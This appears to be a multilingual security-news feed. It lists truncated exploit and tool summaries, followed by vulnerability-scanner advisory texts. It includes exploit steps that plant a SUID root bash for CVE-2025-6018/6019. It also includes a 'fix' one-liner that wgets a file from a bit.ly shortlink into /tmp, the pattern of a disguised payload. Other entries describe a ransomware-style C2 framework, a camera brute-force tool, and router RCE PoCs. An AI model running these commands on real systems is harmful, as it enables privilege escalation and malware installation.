CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 권한 상승 가이드 中文 📋 빠른 익스플로잇 단계 1단계: XFS 이미지 준비 로컬 머신 root@kitploit: 300MB XFS 이미지 생성 dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image 마운트 및 SUID bash 설치 mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp /bin/bash mnt/bash sudo chmod 4755 mnt/bash sudo...

CVE-2025-32462

CVE-2025-32462 – sudo POC 스크립트 이것은 CVE‑2025‑32462 권한 상승 탐지 스크립트로, 직접 sudo 탐지와 비특권 사용자 우회 탐지의 두 가지 모드를 제공합니다. 파일 구조 파일| 설명 ---|--- poc.sh| CVE-2025-32462 취약점 검증 파일 bash, dash 지원 version.txt| 버전 일치 도구에 사용되는 파일 영향을 받는 버전 영향을 받는 sudo 버전은 1.8.8 1.9.17이며, 주로 Linux 시스템에 영향을 미칩니다. 사용법 root@kitploit: 1 –...

glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router

GL.iNet Beryl AX トリプルRCE PoC GL.iNet GL-MT3000 Beryl AX トラベルルーターのファームウェア = 4.4.5 における、3つの認証不要のコマンドインジェクション脆弱性 CVE-2026-11450, CVE-2026-11451, CVE-2026-11452 の PoC です。 完全な解説: https://www.hunt-benito.com/blog/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-route...

CVE-2024-6387-analysis

CVE-2024-6387 OpenSSH シグナル競合脆弱性分析 脆弱性概要 CVE-2024-6387 は、OpenSSH 8.5p1 から 9.7p1 までのバージョンに存在するシグナル処理競合条件の脆弱性で、「regreSSHion」 と呼ばれています。攻撃者は 6～8 時間以内に継続的に試行することで、root 権限で任意のコードを実行できる可能性があり、世界中の約 1400 万台のサーバーに影響を与えます。 影響バージョン OpenSSH 8.5p1 ～ 9.7p1（Ubuntu 22.04 のデフォルトバージョン 8.9p1 が影響を受けます 脆弱性の原理 1. OpenS...

cve_2026_frag_family_fix

frag family 脆弱性を除去するためのソフトウェア / frag family 脆弱性の緩和ツール Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 任意の Linux で修正を実行 / 任意の Linux ホットフィックスの実行 root@kitploit: b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep ...

BitLock-Crypto-Research

🛡️ BitLock Framework: 暗号ウィルス学とC2エコシステム（PoC） このリポジトリは、概念実証（PoC） の包括的な実装であり、現代の脅威アーキテクチャの研究のために設計されています。本プロジェクトは、楕円曲線暗号と安全な消去プロトコルによって保護された指揮統制（C2）インフラストラクチャを備えた、 ファイルレス （ファイルを使用しない）攻撃環境をシミュレートします。 🔬 攻撃ライフサイクルの分析 本システムは、従来の防御を回避し、サーバー上での鍵の永続性を保証するように設計された、3つの主要モジュールの協調実行によって動作します。 1. 揮発性侵入 load.py...

CVE-2026-50656-rogueplanet-validation

RoguePlanet PoC 検証レポート Microsoft Defender 向け レポートの目的と範囲 本レポートは、Microsoft Defender に関連して公開された RoguePlanet PoC の検証に関するものです。説明されている手法は、2026年6月10日にメディアでローカル権限昇格（LPE）として発表されました。ローカルユーザーが NT AUTHORITY\SYSTEM 権限を取得できる可能性があるとされています。公開された説明では、Microsoft Defender がファイルを処理またはスキャンする際に使用する関数を利用するメカニズムであるとされていま...

CVE-2011-1571

CVE-2011-1571 概要 Liferay Portal Community Edition CE 5.x および 6.x（6.0.6 GA より前）の XSL Content ポートレットにおける、Apache Tomcat 使用時にリモート攻撃者が未知のベクトルを介して任意のコマンドを実行できるようにする、詳細不明の脆弱性。 CVE 詳細 : https://www.cvedetails.com/cve/CVE-2011-1571/ PoC : http://xhe.myxwiki.org/xwiki/bin/view/XSLT/ApplicationLiferay...

cats cats-14.0.0

CATS documentation is available at https://endava.github.io/cats/ REST API fuzzer and negative testing tool. Run thousands of self-healing API tests within minutes with no coding effort! Comprehensive : tests are generated automatically based on a large number scenarios and cover every field and...

pwneye

pwneye は、ONVIF および RTSP サービスを公開するIPカメラを扱うための、焦点を絞ったポータブルな攻撃的セキュリティツールです。セキュリティ研究者やハッカーが、単一のCLIワークフローから、ディスカバリ、認証テスト、メタデータ収集、ストリーム検証、録画、および後続アクションを簡単に処理できるようにすることを目的としています。 現在サポートされている機能には、以下のものがあります。 WS-DiscoveryによるローカルネットワークのONVIFディスカバリ 単一の認証情報またはユーザー名/パスワードファイルを使用したONVIF認証およびマルチスレッドブルートフォース...

birdy-edwards

BIRDY-EDWARDS 2.0 潜入して暴露する ターゲットのプロファイリング、ネットワーク分析、脅威レポートのための自動AI搭載Facebookインテリジェンスツール。Ollamaを介して完全にデバイス上で動作します。AI搭載Facebook SOCMINTプラットフォーム — 100%ローカル、クラウド依存ゼロ。ライト版はこのリポジトリを確認してください こちらをクリック インストール · トラブルシューティング · 免責事項 · 貢献 ドキュメント 両方の調査モードの完全な使用ガイドは、プロジェクトのウェブサイトで入手できます: こちらをクリック 仕組み v2.0の...

CVE-2026-34197

CVE-2026-34197 説明 Apache ActiveMQ Broker および Apache ActiveMQ における、不適切な入力検証、コード生成の制御の不備（コードインジェクション）の脆弱性。Apache ActiveMQ Classic は、Web コンソール上で Jolokia JMX-HTTP ブリッジを /api/jolokia/ に公開しています。デフォルトの Jolokia アクセスポリシーは、BrokerService.addNetworkConnectorString や BrokerService.addConnectorString を含む、すべての...

Linux Distros Unpatched Vulnerability : CVE-2026-86308

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A vulnerability was detected in light0011 cms c774dce31c6df0055568a8d5c53d964d99be199d/f72cf46f601efb2a0618c3814cc2f61380b38930. This issue affects some unknown...

Linux Distros Unpatched Vulnerability : CVE-2026-86423

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ImageMagick before 7.1.2-30 and 6.9.x before 6.9.13-55 contains a heap-use-after-free vulnerability in the GetList method of PerlMagick. A crafted call to the...

Linux Distros Unpatched Vulnerability : CVE-2026-78135

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - libcharon in strongSwan 5.9.7 through 6.0.7 mishandles behavioral workflow in the IKEv2 state machine. Because CREATECHILDSA requests are mishandled, there can ...

Oracle Linux 9 : qemu-kvm (ELSA-2026-500245)

The remote Oracle Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2026-500245 advisory. - dmg: reject inconsistent UDRW chunk sector count and length CVE-2026-65928 Stefan Hajnoczi Orabug: 39849788 CVE-2026-65928 - dmg: fix out-of-bounds...

JFrog Artifactory 7.111.4 < 7.111.21 / 7.117.x < 7.117.28 / 7.125.x < 7.125.20 / 7.133.x < 7.133.29 / 7.146.x < 7.146.38 / 7.161.x < 7.161.20 Authentication Bypass

According to its self-reported version number, the version of JFrog Artifactory installed on the remote host is 7.111.4 prior to 7.111.21, 7.117.x prior to 7.117.28, 7.125.x prior to 7.125.20, 7.133.x prior to 7.133.29, 7.146.x prior to 7.146.38, or 7.161.x prior to 7.161.20. It is, therefore,...

MiracleLinux 8 : grafana-pcp-5.1.1-18.el8_10 (AXSA:2026-1778:11)

The remote MiracleLinux 8 host has a package installed that is affected by multiple vulnerabilities as referenced in the AXSA:2026-1778:11 advisory. mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header CVE-2026-42504 encoding/asn1: golang: Go encoding/asn1: Denial of...

Oracle Linux 10 : glibc (ELSA-2026-42694)

The remote Oracle Linux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the ELSA-2026-42694 advisory. - CVE-2026-5425: Fix out-of-bounds write via TSIG record processing RHEL-180652, RHEL-185612 Tenable has extracted the preceding description block...

LOYTEC L-IP BACnet/IP Routers Improper Privilege Management (CVE-2026-12502)

A local attacker who is a member of the 'superadmin' group can reset the password of any LARM user on a LOYTEC L-IP BACnet/IP router, including the 'larmapp' service account, via the 'set-passwd' subcommand of the '/usr/bin/ltsudo' utility. This bypasses the authorization checks that should limit...